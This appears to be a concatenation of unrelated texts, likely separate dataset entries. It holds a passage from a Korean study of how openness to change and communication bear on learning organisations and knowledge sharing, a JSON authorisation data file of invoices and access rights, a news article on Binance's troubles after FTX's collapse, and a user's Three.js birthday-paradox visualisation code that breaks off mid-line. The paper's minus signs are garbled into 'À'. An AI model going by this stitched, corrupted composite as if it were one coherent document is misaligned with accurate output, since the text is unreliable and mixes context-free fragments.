higher education institutions and presented a framework through thematic analysis. Despite the tightly coupled organizational characteristics, organizational change openness and willingness are different from each other, and this study examined the effect of individual and organizational differences and fits on learning organization and knowledge sharing and highlighted the role of communication. Method Participants and procedures We targeted employees at three private universities for the current research. Each university included in the sample was rated as a “self-improvement university” or a “capacityenhancing university” in the University Basic Competency Assessment of Korea, aiming for continued innovation and development. We used a four-point Likert scale for the data collection. All measurements were developed in English and back-translated into Korean by three bilingual subject-matter experts with doctorates in the areas of education administration, policy and career technical education. Some measurement scales were modified to capture the structure of the university and to reflect the higher education context. The survey was conducted as part of a university consulting project; faculty and administrative staff participated in the data collection process through an online survey platform. The faculty and staff are involved in a single task force team for consulting, so they are not treated separately. A survey was distributed to a total of 2,074 faculty and staff members from participating universities. A total of 1,085 participants responded, for a response rate of 52.31%. After excluding insincere responses and missing data, such as uniformly repeated responses (e.g. 1, 1, 1, 1, 1) and intentionally sequential responses (e.g. 1, 2, 3, 1, 2, 3), a total of 1,015 participants (faculty = 504, staff = 511) was included in the analysis. Of the participants, 49.7% were faculty and 50.3% were administrative staff members. Of the faculty, 24.4% were female and 47.6% had more than 10 years of organizational tenure. Measures Openness to change. Openness to change was measured using six items. From the original scale (Miller et al., 1994), three items were selected to measure individuals’ perception of their openness to change. These three items were also modified to measure how individuals perceive their organizations’ openness to change. In terms of item reliability, both individual openness (a = 0.75) and organizational openness (a = 0.81) were internally reliable. Organizational communication. To assess organizational communication, we measured the level of communication through individuals’ perceptions of their organization (i.e. an entire organization, university headquarters or department). For the measurements, we restructured and translated the scale to fit the university context based on the communication satisfaction questionnaire (Downs and Hazen, 1977). Finally, the measure comprised six items (a = 0.87) and was reliable. Learning organization. Learning organization was assessed with the Dimension of the Learning Organization Questionnaire (Yang et al., 2004). Item reliability (a = 0.86) was reliable. Knowledge sharing. To measure individuals’ knowledge sharing, three items (a = 0.75) were adopted from Mura et al. (2013) scale, which represents the extent to which faculty and staff members share their best practices and experiences. Analytical strategies We collected control variables that might influence individuals’ perceptions of knowledge and learning. First, we controlled for age, employment status, university and tenure. However, the results were not changed by including or not the control variables with the values coded for these demographics as dummy variables. Therefore, following guidelines for superfluous inclusion of control variables (Carlson and Wu, 2012; Vogel et al., 2016), we performed the analysis in the final model without any of these control variables. We measured the levels of individual and organizational openness to change (OOC) for independent variables through individual perceptions. To analyze the concepts of fit, congruence and incongruence, a quadratic equation including the two independent variables of polynomial regression was calculated and included in the regression model. We performed a moderated polynomial regression analysis using Mplus 8.4 and analyzed the response surface for a three-dimensional graph using OriginPro 2016 (Edwards and Lambert, 2007). Polynomial regression has been suggested as an alternative to the different scores of dependent variables and can be used to study the fit, congruence and incongruence of various variables. Before calculations, we conducted mean-centering for the moderator and scale-centering for the two independent variables to avoid multicollinearity issues and to interpret accurately. Polynomial regression analysis includes high-order terms, which are the squared and interacted terms of the individual openness to change (IOC) and OOC in this research. An equation considering the control variables was derived based on the concept presented by Edwards and Parry (1993), as follows: Results Table 1 presents the descriptive analysis including means, standard deviations, zero-order correlations and reliabilities among the variables. Moderate and significant correlations were found among the variables. Additionally, we performed a confirmatory factor analysis and most goodness-of-fit indices for our measurement model met the criteria ( x 2 = 6,819.60, df = 190, TLI = 0.90; CFI = 0.92; RMSEA = 0.07). Because the variables were measured by a single rater without any time interval, we performed Harman’s single-factor test. The explained total variance was 33.64%; therefore, common method bias was not found (Podsakoff et al., 2003). We conducted a path analysis for the polynomial equations, as shown in Table 2. Many existing studies have examined the moderating effect between independent and dependent variables in nonlinear relationships. In this study, the effect of the moderator on congruence and dependent variables was examined based on previous studies (Graham et al., 2018; Vogel et al., 2016). H1 predicted that the positive effect on learning organization would be stronger when communication was high. In Step 2, the F-statistic (F = 92.38) was significant, indicating that communication could have a significant moderating effect on a learning organization’s interaction with openness to change congruence. To test the characteristics of the surface along the line of congruence, the slope and curvature were obtained at both high and low levels for the moderator. Guided by Cohen et al. (2003), we considered one standard deviation above and below the meancentered communication and entered the data into equation (1). Table 3 shows the estimated values of the slope and the curvatures of the line of congruence and the line of incongruence for the dependent variables, including learning organization and knowledge sharing. Based on the estimated coefficients, Figure 2 shows the response surface. At a low level of communication, the slope of the surface along the line of congruence had a significant positive value not equal to 0 (a 1 = 0.20, 90% CI [0.07, 0.33]). The results indicate the presence of a directional effect, which means that employees perceived a higher level of learning organization when IOC and OOC were high (high IOC and high OOC) compared with at lower levels (low IOC and low OOC). The curvature of the surface along the line of incongruence was estimated to determine whether the fit effect existed; however, this case was not significant because the confidence interval included zero (a 4 = À0.13, 90% CI [À0.34, 0.10]). This result indicates that there was no curvilinear or fit effect of learning organization on the line of incongruence when the level of communication was low. At high levels of communication, the slope of the surface along the line of congruence was not significant (a 1 = 0.16, 90% CI [À0.08, 0.40]), indicating a pattern of results dissimilar to those at low levels of communication. In contrast, the curvature of the surface along the line of incongruence had a negative and significant value (a 4 = À0.57, 90% CI [À0.87, À0.26]), with an inverted U-shaped curvature along the line of incongruence. This result indicates that learning organization is higher when an individual’s openness to change is aligned with their organization’s openness to change. When communication is high, the misfits and any deviations from the line of congruence could decrease learning organization. In other words, level of learning organization can be expected to be high through the fit of IOC and OOC under high-communication conditions. The results of this specific pattern support H1. When communication was low, there was no curvilinear effect of openness to change on learning organizations. However, for the condition of high communication, a strong fit effect on learning organization was observed due to the congruence of the openness to change. H2 predicted that the positive effect on knowledge sharing would be stronger when communication was high. Based on the F-statistic (F = 25.70), communication played a significant moderating role in the relationship between openness to change incongruence and knowledge sharing. The lower parts of Table 3 and Figure 2 concern knowledge sharing and illustrate the response surface of the results. At low levels of communication, the slope of the surface along the line of incongruence was not significantly different from 0 (a 3 = 0.19, 90% CI [À0.03, 0.41]), indicating that there was no directional effect between IOC and OOC on knowledge sharing. We can conclude that any misfits of openness, in which individual openness was greater than organizational openness, had no significant difference on knowledge sharing compared with individuals who perceived that their organization’s openness was greater than their own. The curvature of the surface along the line of incongruence was significant and positive (a 4 = 0.36, 90% CI [0.11, 0.62]), suggesting that the line of incongruence curved upward (convex). The positive significant curvature indicates that more knowledge sharing occurred when IOC and OOC showed larger deviation from each other. In other words, when faculty and staff perceived a greater mismatch between openness at the individual and organizational levels, they shared more knowledge in the condition of low communication. These results indicate that the difference in perception between individuals and organizations is a need-supply fit. If the IOC is higher than that of the organization, knowledge sharing by the individual is more likely. If the organization’s openness to change is higher, knowledge sharing can occur by learning the best practice established at an organization level. In high communication, the slope of the surface along the line of incongruence was significant and positive (a 3 = 0.60, 90% CI [0.30, 0.92]), indicating a strong directional effect. Faculty and staff whose individual openness was greater than their perception of organizational openness were more likely to share their knowledge compared with faculty and staff who had low levels of individual openness. Therefore, in situations where communication is active, individuals whose openness to change is lower than organizational openness could be poor at sharing knowledge. As communication becomes plentiful, the curvature of the surface along the line of incongruence became non-significant (a 4 = À0.08, 90% CI [À0.41, 0.25], which indicates that the line of incongruence was no longer curved. The curvilinear effect might have been lost because the linear directional effect was strongly significant. Thus, as shown in Figure 2, when communication was high, knowledge sharing decreased along the line of incongruence because IOC was lower than OOC. The positive effects of the misfit of openness on knowledge sharing were reduced at a high level of communication. Thus, H2 was not supported." -'Here is the JSON data file for that policy "{\n "Resources": {\n "myapp1": [\n {\n "Company": "CompanyA",\n "Country": "Norway",\n "InvoiceAmount": 200,\n "Name": "Invoice1",\n "ResourceID": "inv001",\n "ResourceType": "Invoice"\n },\n {\n "Company": "CompanyB",\n "Country": "Sweden",\n "InvoiceAmount": 300,\n "Name": "Invoice2",\n "ResourceID": "inv002",\n "ResourceType": "Invoice"\n },\n {\n "Amount": 1000,\n "Company": "CompanyA",\n "Country": "Norway",\n "Name": "PurchaseOrder1",\n "ResourceID": "po001",\n "ResourceType": "PurchaseOrder"\n },\n {\n "Amount": 1500,\n "Company": "CompanyB",\n "Country": "Sweden",\n "Name": "PurchaseOrder2",\n "ResourceID": "po002",\n "ResourceType": "PurchaseOrder"\n },\n {\n "Company": "CompanyA",\n "Country": "Norway",\n "Name": "Person1",\n "ResourceID": "p001",\n "ResourceType": "Person"\n },\n {\n "Company": "CompanyB",\n "Country": "Sweden",\n "Name": "Person2",\n "ResourceID": "p002",\n "ResourceType": "Person"\n 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{\n "AzLocalRights": [\n {\n "AzLocalRightName": "CreateInvoice",\n "FieldTypes": [\n {\n "FieldType": "InvoiceAmount",\n "FieldTypeValues": [\n 100,\n 200,\n 300\n ]\n },\n {\n "FieldType": "Country",\n "FieldTypeValues": [\n "Norway",\n "Sweden",\n "Finland"\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "ReadInvoice",\n "FieldTypes": []\n },\n {\n "AzLocalRightName": "UpdateInvoice",\n "FieldTypes": [\n {\n "FieldType": "InvoiceAmount",\n "FieldTypeValues": [\n 200,\n 300\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "DeleteInvoice",\n "FieldTypes": []\n }\n ]\n },\n "Person": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "CreatePerson",\n "FieldTypes": [\n {\n "FieldType": "Age",\n "FieldTypeValues": [\n 18,\n 21,\n 25,\n 30,\n 40\n ]\n },\n {\n "FieldType": "Country",\n "FieldTypeValues": [\n "Norway",\n "Sweden",\n "Finland"\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "ReadPerson",\n "FieldTypes": []\n },\n {\n "AzLocalRightName": "UpdatePerson",\n "FieldTypes": [\n {\n "FieldType": "Age",\n "FieldTypeValues": [\n 21,\n 25,\n 30\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "DeletePerson",\n "FieldTypes": []\n }\n ]\n },\n "PurchaseOrder": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "CreatePurchaseOrder",\n "FieldTypes": [\n {\n "FieldType": "OrderAmount",\n "FieldTypeValues": [\n 500,\n 1000,\n 1500\n ]\n },\n {\n "FieldType": "Company",\n "FieldTypeValues": [\n "ABC Inc",\n "XYZ Corp"\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "ReadPurchaseOrder",\n "FieldTypes": []\n },\n {\n "AzLocalRightName": "UpdatePurchaseOrder",\n "FieldTypes": [\n {\n "FieldType": "OrderAmount",\n "FieldTypeValues": [\n 1000,\n 1500\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "DeletePurchaseOrder",\n "FieldTypes": []\n }\n ]\n }\n }\n },\n "myapp2": {\n "ResourceTypes": {\n "Invoices": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "ReadInvoice",\n "FieldTypes": []\n }\n ]\n },\n "People": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "ReadPerson",\n "FieldTypes": []\n }\n ]\n },\n "PurchaseOrders": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "ReadPurchaseOrder",\n "FieldTypes": []\n }\n ]\n }\n }\n }\n },\n "resourceAccesses": {\n "myapp1": {\n "user1": [\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Norway",\n "InvoiceAmount": 100\n },\n "Name": "Invoice 001",\n "ResourceID": "2c1ed12e-038d-4f2f-b183-1aa8fcbcd6d4",\n "ResourceType": "Invoice"\n },\n {\n "AzLocalRightName": "Create",\n "Constraints": {\n "Country": "Sweden",\n "PurchaseOrderAmount": 200\n },\n "Name": "Purchase Order 001",\n "ResourceID": "559c6e04-ba0c-4c1d-9d57-7da755da28c7",\n "ResourceType": "PurchaseOrder"\n }\n ],\n "user2": [\n {\n "AzLocalRightName": "Create",\n "Constraints": {\n "Country": "Norway",\n "InvoiceAmount": 200\n },\n "Name": "Invoice 002",\n "ResourceID": "e56fa32c-9601-4c88-b9f9-02d66e0efbdb",\n "ResourceType": "Invoice"\n },\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Finland",\n "PurchaseOrderAmount": 100\n },\n "Name": "Purchase Order 002",\n "ResourceID": "43e0e035-95d8-4c54-a4c4-4f3c0f37b57e",\n "ResourceType": "PurchaseOrder"\n }\n ]\n },\n "myapp2": {\n "user1": [\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Norway"\n },\n "Name": "Document 001",\n "ResourceID": "00cabb75-868c-4061-bf17-f39a0132dccb",\n "ResourceType": "Document"\n },\n {\n "AzLocalRightName": "Update",\n "Constraints": {\n "Country": "Sweden"\n },\n "Name": "Document 002",\n "ResourceID": "2e4dfb4c-f8b7-4c51-9ca3-74ea6488618d",\n "ResourceType": "Document"\n }\n ],\n "user2": [\n {\n "AzLocalRightName": "Delete",\n "Constraints": {\n "Country": "Finland"\n },\n "Name": "Document 003",\n "ResourceID": "b71f1f92-90eb-42c8-8a71-4969e9d2b2e8",\n "ResourceType": "Document"\n },\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Norway"\n },\n "Name": "Document 004",\n "ResourceID": "ae83b0a9-d925-4c4b-b2b4-3e3cde9813a1",\n "ResourceType": "Document"\n }\n ]\n }\n }\n}"' -'tldr\n\nJust last month, Changpeng Zhao looked like the undisputed king of crypto. The upstart exchange FTX had spectacularly imploded in early November, and Zhao, the CEO of the exchange giant Binance, had carried out the kill shot by dumping FTX’s native crypto token and triggering a liquidity crisis that sank FTX and its founder and CEO, Sam Bankman-Fried. For a few days, it even looked like Binance would acquire FTX.\n\nIn the weeks since, FTX’s disordered collapse has risked pushing an already-stressed crypto industry over the brink. Prosecutors and regulators have alleged that FTX was not just a company in distress, but a massive fraud, and Bankman-Fried was arrested Monday in the Bahamas. The FTX debacle has also triggered widespread mistrust among crypto survivors, who are watching for what dominoes might fall next—and whether one of them might be Binance.\n\nBinance is the world’s largest crypto exchange by volume. But it has been plagued by trouble with regulators and is facing potential criminal charges related to money laundering and sanctions violations. Misgivings about the company accelerated this week after customers pulled billions worth of assets from its platform and Binance temporarily halted withdrawals of a key asset. Other crypto companies held crisis meetings to plan how they’ll respond if Binance’s situation worsened.\n\nSo, how much trouble is Binance in? It’s not as bad as FTX, insiders say, but it’s still not good.\n\nSenior executives at several other well-known crypto firms, including Binance’s biggest rivals, told Fortune they do not believe Binance is on the cusp of insolvency—a conclusion bolstered by blockchain data that shows the company holds ample stores of Bitcoin and liquid assets. While some casual observers have drawn parallels between Binance and FTX, those within the industry aren’t going there.\n\nZhao acknowledged this week that the company and crypto more broadly are enduring a tough stretch. In a memo to staff, he wrote that the industry is undergoing an “historic moment” and that the next few months would be “bumpy,” but assured them that Binance “will survive any crypto winter.”\n\nNonetheless, the company and its CEO are under scrutiny like never before—and the next few months will determine whether Binance has a long-term future.\n\nBinance’s very bad week\nWhile this week’s news cycle has been consumed by Bankman-Fried, and crypto-related testimony in Washington, D.C., a fresh drama about Binance played out quietly in the background. It began when the analytics firm Nansen published data to show customers cashed out around $3.6 billion worth of assets over seven days from Binance, including almost $2 billion in a single day.\n\nThe spur for the withdrawals was likely a report published Monday that claimed factions in the Justice Department are pushing aggressively to file criminal charges related to sanctions violations and money laundering against Binance and its CEO. The full extent of the outflows may have been higher than reported, since the Nansen data includes withdrawals of Ethereum and stablecoins but not Bitcoin. An executive at a Binance rival, who requested anonymity because he was not authorized to speak publicly, told Fortune that his company’s internal estimates suggest that total outflows may have been as high as $6 billion to $8 billion, including cash-outs of Bitcoin and other currencies like Tron.\n\nThe alarm over Binance increased amid reports that the company was failing to process withdrawals of USDC, one of the more widely used stablecoins pegged to the U.S. dollar. This is part of what made it feel urgent to map out the worst-case scenarios involving Binance, the executive at the rival company said.\n\nThat worst-case scenario might sound familiar: It speculates that Binance could be using a token called BNB, which is native to Binance’s own blockchain, as collateral for loans. Binance denies this practice, but if it were true, it could leave the company vulnerable the same way FTX’s FTT token did. The value of BNB could crater if the market were to grow uneasy about Binance’s health, which would leave Binance unable to pay back loans, leading it to sell its holdings of the wildcat stablecoin Tether. That in turn could lead to Tether—whose reserve structure has always been murky—failing to maintain its $1 peg, which would set off a wide conflagration across the crypto markets.\n\nA spokesperson for Binance told Fortune that the exchange has never used BNB as collateral. But speculation about such a disastrous scenario is making some in the industry uneasy about Binance’s large holdings of assets like BNB and Tether, which offer little transparency. Another executive, who likewise insisted on anonymity, said their own firm convened a special meeting in the wake of this week’s Binance headlines to explore how it would react if the giant exchange collapses over the holidays.\n\nBinance itself has responded forcefully to all of this dire prognosticating (which might be more reassuring had we not all seen similar behavior from other troubled crypto leaders).\n\nLate on Tuesday, amid widespread murmurings about the situation at Binance, CEO Zhao took to Twitter to downplay the recent outflows, noting that the company has experienced bigger ones in the past and suggesting such events amount to healthy “stress tests.”\nBy the end of the week, outflows from the platform had begun tapering and fears about its financial health quieted down some.\n\nAscreenshot from Nansen taken mid-day Thursday that shows 7-day outflows at Binance exceeded all other crypto exchanges but that it had declined to $2.6 billion compared to the $3.6 billion figure reported earlier this week.\nJust a ‘stress test’?\nOther crypto industry figures agreed with Zhao’s assertion that concern about the outflows were overblown. These included the venture capitalist Nic Carter, who rejected claims of a “bank run” at Binance as hyperbolic, and noted that total assets on its platforms dipped 15% at most and that much of the money had already flowed back.\nAs for Binance temporarily halting withdrawals of USDC, the company says that occurred for technical reasons rather than due to any existential threat to Binance’s financial health. The backstory is complicated but it involves a recent decision by Binance to convert its holdings of USDC—which is controlled by rivals Circle and Coinbase—to its own stablecoin, known as BUSD. Binance likely made this decision to favor its own coin, as other exchanges have recently done, because stablecoins have become an increasingly important source of revenue for their issuers as interest rates climb. (Issuers typically invest the dollars backing the stablecoins into T-bills and pocket the interest.)\n\nBinance does, however, let customers convert any USDCs that were forcibly converted to BUSD back to USDC for the purpose of withdrawals. The upshot is that, when nervous investors sought to redeem their USDC from Binance this week, the company did not have enough on hand to immediately honor the withdrawals. This meant Binance had to wait for its American banking partner—a New York company called Paxos that tokenizes assets and issues white-labeled stablecoins for Binance and others—to obtain more USDC on its behalf. In an interview with Fortune, Paxos confirmed this, saying many of the withdrawal requests occurred outside of banking hours, which slowed its ability to deliver USDC to Binance.\n\nEven so, a significant number of Binance’s customers appeared to have dropped Binance’s stablecoin in favor of the one issued by Circle and Coinbase. “We saw record-making history yesterday with more than $2.5B USDC issuance in a 24-hour period,” Circle’s CEO, Jeremy Allaire, told Fortune.\n\nWhile Binance appears to have survived the events of the last week relatively unscathed, its biggest battles lie ahead.\n\nBinance’s fight for legitimacy\nBinance burst on the scene during the crypto boom of 2017, and soared to popularity by offering a cornucopia of digital assets and innovations, including its own blockchain. It soon became the biggest crypto exchange in the world by trading volume, thanks in part to Zhao’s ruthless growth-at-all-cost strategies that included hopscotching the world in search of favorable regulatory environments and—in its early days—lax application of know-your-customer laws.\n\nBut even as Binance became the dominant player in the crypto world, Zhao has maintained the status of an outsider. This may be because he is not part of the clique of entrepreneurs who brought Bitcoin into the mainstream during crypto’s early years, and who still wield outsize influence at conferences and on social media. Or it may be because the crypto establishment is uneasy with Binance’s initial cowboy approach to regulation—even though nearly every popular crypto company also played it fast-and-loose in their early days. Whatever the reason, Binance has few friends in Washington, D.C., which has become the de facto center of global crypto regulation—a situation that could spell trouble for the company as U.S. lawmakers move to impose new laws on the controversial industry.\n\nIn recent months, Binance has sought to portray concerns about the company as a xenophobic response to Zhao’s Chinese heritage. In a September blog post, Zhao—whose parents moved the family to Vancouver when he was 12—suggested that competitors were trying to undermine him by playing up his ethnicity. “I am Canadian citizen,” he wrote. “Period.” He has echoed those sentiments on Twitter in recent weeks.\n\nBut despite Binance’s disavowal of ties to China, rumors persist. One credible report, for instance, suggests the company maintained an office in Shanghai that was shut down in late 2019, though Binance has denied its existence. The company has shifted headquarters between various jurisdictions known for light regulation, including Malta, and does not provide clear information about where its headquarters is located today. A spokesperson said Binance has “regional hubs” in Dubai and Paris.\n\nAnd then there is the matter of Binance’s finances. Zhao has repeatedly asserted on Twitter that every asset a customer places on Binance’s platform is backed 1:1 by assets held by Binance. Earlier this week, the company published an audit, an apparent attempt to reassure customers that their funds were safe. But it did little to quiet fears. The audit was prepared by the South African branch of global firm Mazars, rather than by one of the Big Four accounting firms, and critics noted that the document was woefully incomplete. One accounting professor went so far as to call it “worthless.”\n\nIn response to an inquiry from Fortune about the audit report, a well-known crypto founder—whose company competes with Binance—likewise blasted the report as insufficient. “It really comes off as if they’re covering up something. … [They’re] trying to show collateral value rather than 1:1 assets vs liabilities. The collateral trick is exactly the game FTX was playing, borrowing good money from users with bad money for collateral. It’s very suspicious,” wrote the founder, who asked not to be identified.\n\nIn response to an inquiry about why Binance did not use a Big Four firm, a spokesperson said the company asked the firms to do conduct a so-called proof-of-reserve audit but that “they are currently unwilling to conduct a PoR for a private crypto company.” They added that Binance in the meantime intends to use technological solutions known as Merkle Trees and zk-SNARKs to provide evidence to customers that their funds are safe.\n\nAs for BNB, the Binance-created token was released in 2020 and is today the fifth-most-valuable cryptocurrency, with a market cap of around $43 billion. In response to an inquiry from Fortune, a Binance spokesperson strongly argued that BNB is not analogous to FTT—the illiquid token that FTX’s disgraced founder Sam Bankman-Fried created and then used to as collateral.\n\n“Binance has never used BNB for collateral, and we have never taken on debt as an organization. BNB is a blockchain token, which means it is the official currency of BNB Chain, the largest chain by active users on the globe—even larger than ethereum,” the spokesperson wrote. “This is the utility that BNB provides to millions of users across the globe each day and why it is highly liquid and has organic demand. Furthermore, BNB is a finite asset that is algorithmically burned periodically and is managed by a voting protocol within the BNB Chain community. FTT on the other hand, was an ‘exchange token’ which provided little to no utility to the marketplace and was entirely illiquid.”\n\nBinance has sought to portray BNB and its associated blockchain as largely decentralized, and akin to Bitcoin or Ethereum. These claims have been greeted with skepticism, however, within the broader crypto community, particularly after a revealing incident: The Binance chain got hacked for $570 million in early October. In response to the hack, Binance quickly “paused” the chain’s activities—a feat that could not be easily undertaken on a decentralized blockchain. The incident provoked mocking responses like the one below about who actually controlled the chain:' -"This is my code. Do you understand. All looks good?\n\nconst scene = new THREE.Scene();\n\n// Add a light source\nconst light = new THREE.PointLight(0xffffff, 1, 100);\nlight.position.set(0, 0, 20);\nscene.add(light);\n\nconst camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);\nconst renderer = new THREE.WebGLRenderer();\nrenderer.setSize(window.innerWidth, window.innerHeight);\ndocument.body.appendChild(renderer.domElement);\n\nlet nodeCount = 30;\nconst radius = 15;\nconst circleGeometry = new THREE.CircleGeometry(0.5, 32);\nconst lineMaterial = new THREE.LineBasicMaterial({ color: 0xffa500, opacity: 1, transparent: true });\n\nconst nodes = [];\nlet currentNodeIndex = 0;\nlet currentConnectionIndex = 1;\nlet connectionCount = 0;\nlet matchLikelihood = 0;\nfunction initializeNodes() {\n for (let i = 0; i < nodeCount; i++) {\n const circleMaterial = new THREE.MeshBasicMaterial({ color: Math.random() \\* 0xffffff });\n const circle = new THREE.Mesh(circleGeometry, circleMaterial);\n const angle = (i / nodeCount) \\* 2 \\* Math.PI;\n circle.position.set(radius \\* Math.cos(angle), radius \\* Math.sin(angle), 0);\n scene.add(circle);\n nodes.push(circle);\n }\n\n animate();\n}\nlet previousLines = [];\n// Add this function to reduce color saturation\nfunction reduceSaturation(material, amount) {\n const color = material.color;\n const hsl = color.getHSL({ h: 0, s: 0, l: 0 });\n hsl.s -= amount;\n color.setHSL(hsl.h, Math.max(hsl.s, 0), hsl.l);\n}\n\nfunction connectNodes(nodeA, nodeB) {\n if (previousLines.length > 0) {\n // Change the color of all other lines to white\n previousLines.forEach((line, index) => {\n line.material.color.set(0xffffff);\n\n // Reduce the opacity of all previous lines by 5% (except the current line)\n if (index !== previousLines.length - 1) {\n line.material.opacity = Math.max(line.material.opacity \\* 0.95, 0.5);\n }\n });\n\n // Remove the thickness from the previous line\n const lastLine = previousLines[previousLines.length - 1];\n lastLine.material.linewidth = 1;\n\n // Reduce the saturation of the previously completed person\n reduceSaturation(nodeA.material, 0.2);\n }\n\n const points = [nodeA.position, nodeB.position];\n const geometry = new THREE.BufferGeometry().setFromPoints(points);\n\n // Create a copy of the lineMaterial to avoid modifying the original\n const currentLineMaterial = lineMaterial.clone();\n currentLineMaterial.linewidth = 6; // Increase the linewidth of the current connection by 2px\n\n const line = new THREE.Line(geometry, currentLineMaterial);\n scene.add(line);\n\n previousLines.push(line);\n}\n\nconst speedSlider = document.getElementById('speed-slider');\nconst speedLabel = document.getElementById('speed-label');\nlet animationSpeed = 510 - parseInt(speedSlider.value);\n\nspeedSlider.addEventListener('input', (event) => {\n const value = event.target.value;\n speedLabel.textContent = 510 - value;\n animationSpeed = 510 - parseInt(value);\n});\n\nconst confirmButton = document.getElementById('confirm-button');\nconfirmButton.addEventListener('click', () => {\n resetAnimation();\n});\nconst resetButton = document.getElementById('reset-button');\nresetButton.addEventListener('click', () => {\n resetAnimation();\n});\n\nconst peopleInput = document.getElementById('people-input');\npeopleInput.addEventListener('change', () => {\n resetAnimation();\n});\n\nconst loader = new THREE.FontLoader();\nlet font;\n\nloader.load('https://threejs.org/examples/fonts/helvetiker\\_regular.typeface.json', (loadedFont) => {\n font = loadedFont;\n startVisualization();\n});\n\n\nfunction updateLikelihoodText(likelihood) {\n if (scene.getObjectByName('likelihoodText')) {\n scene.remove(scene.getObjectByName('likelihoodText'));\n }\n\n const text = `Likelihood: ${(likelihood \\* 100).toFixed(2)}% | Connections: ${connectionCount}`;\n const textGeometry = new THREE.TextGeometry(text, {\n font: font,\n size: 2,\n height: 0.1,\n });\n\n const textMaterial = new THREE.MeshBasicMaterial({ color: 0x90ee90 });\n const textMesh = new THREE.Mesh(textGeometry, textMaterial);\n textMesh.name = 'likelihoodText';\n\n textGeometry.computeBoundingBox();\n const textWidth = textGeometry.boundingBox.max.x - textGeometry.boundingBox.min.x;\n textMesh.position.set(-textWidth / 2, 0, 0);\n\n scene.add(textMesh);\n}\nlet lastUpdateTime = 0;\n// Add raycaster and mouse vector\nconst raycaster = new THREE.Raycaster();\nconst mouse = new THREE.Vector2();\n\n// Add an event listener for mousemove\nwindow.addEventListener('mousemove', onMouseMove, false);\n\n// Store the index of the currently hovered node\nlet hoveredNodeIndex = null;\n\nfunction onMouseMove(event) {\n // Calculate mouse position in normalized device coordinates (-1 to +1) for both components\n mouse.x = (event.clientX / window.innerWidth) \\* 2 - 1;\n mouse.y = -(event.clientY / window.innerHeight) \\* 2 + 1;\n\n // Update the picking ray with the camera and mouse position\n raycaster.setFromCamera(mouse, camera);\n\n // Calculate objects intersecting the picking ray\n const intersects = raycaster.intersectObjects(nodes);\n\n if (intersects.length > 0) {\n // Get the index of the intersected node\n const intersectedNode = intersects[0].object;\n hoveredNodeIndex = nodes.indexOf(intersectedNode);\n\n // Change the line color to orange for all connections of the hovered node\n for (let i = 0; i < previousLines.length; i++) {\n const line = previousLines[i];\n if (line.geometry.attributes.position.array.includes(intersectedNode.position.x)) {\n line.material.color.set(0xffa500);\n } else {\n line.material.color.set(0xffffff);\n }\n }\n } else {\n // Reset the hovered node index and line colors when no node is hovered\n hoveredNodeIndex = null;\n previousLines.forEach((line) => {\n line.material.color.set(0xffffff);\n });\n }\n\n // Calculate the target camera position based on the mouse position\n const targetCameraOffset = new THREE.Vector3(mouse.x \\* 2.5, mouse.y \\* 2.5, 0);\n targetCameraPosition = new THREE.Vector3(0, 0, 25).add(targetCameraOffset);\n\n // Update the target camera position when a node is hovered\n if (hoveredNodeIndex !== null) {\n const nodeWorldPosition = nodes[hoveredNodeIndex].getWorldPosition(new THREE.Vector3());\n targetCameraPosition.x = nodeWorldPosition.x;\n targetCameraPosition.y = nodeWorldPosition.y;\n targetCameraPosition.z = 20; // Zoom in 20% when hovering a node\n } else {\n targetCameraPosition.z = 22.5; // Zoom in 10% based on mouse position\n }\n}\n\nfunction animate(time) {\n\n if (currentNodeIndex < nodeCount - 1 && hoveredNodeIndex === null) {\n // ... (the rest of the animate function remains unchanged)\n \n if (time - lastUpdateTime >= animationSpeed) {\n // Reset the size of the active person's circle\n if (currentNodeIndex > 0) {\n nodes[currentNodeIndex - 1].scale.set(1, 1, 1);\n }\n\n if (currentConnectionIndex < nodeCount) {\n // Increase the size of the active person's circle\n nodes[currentNodeIndex].scale.set(5, 5, 1);\n\n connectNodes(nodes[currentNodeIndex], nodes[currentConnectionIndex]);\n connectionCount++;\n\n // Update the likelihood of matching birthdays\n matchLikelihood = 1 - (365 / 365) \\* ((365 - 1) / 365) \\*\\* connectionCount;\n updateLikelihoodText(matchLikelihood);\n\n currentConnectionIndex++;\n } else {\n currentNodeIndex++;\n currentConnectionIndex = currentNodeIndex + 1;\n }\n\n lastUpdateTime = time;\n } \n \n requestAnimationFrame(animate);\n \n \n \n }\n \n}\n\n\ninitializeNodes();\n\nfunction resetAnimation() {\n // Remove the light source from the scene\n scene.remove(light);\n\n scene.clear();\n nodes.length = 0;\n currentNodeIndex = 0;\n currentConnectionIndex = 1;\n connectionCount = 0;\n matchLikelihood = 0;\n nodeCount = parseInt(peopleInput.value);\n initializeNodes();\n animate();\n\n // Re-add the light source to the scene\n scene.add(light);\n}\n\nfunction startVisualization() {\n initializeNodes();\n animate();\n}\nconst simplex = new SimplexNoise();\nlet time = 0;\n\ncamera.position.set(0, 0, 25);\n\n// Add a target camera position\nlet targetCameraPosition = new THREE.Vector3(0, 0, 25);\n\n// Add a new function for updating the camera position\nfunction updateCamera() {\n if (hoveredNodeIndex !== null) {\n camera.position.lerp(nodes[hoveredNodeIndex].position, 0.05);\n camera.position.z = 20;\n } else {\n const targetCameraOffset = new THREE.Vector3(mouse.x \\* 2.5, mouse.y \\* 2.5, 0);\n targetCameraPosition = new THREE.Vector3(0, 0, 25).add(targetCameraOffset);\n camera.position.lerp(targetCameraPosition, 0.05);\n }\n camera.lookAt(scene.position);\n}\n\nfunction render() {\n requestAnimationFrame(render);\n\n // Update the camera position\n time += 0.005;\n const cameraRadius = 25;\n const offsetX = cameraRadius \\* 0.1 \\* simplex.noise2D(time, 0);\n const offsetZ = cameraRadius \\* 0.1 \\* 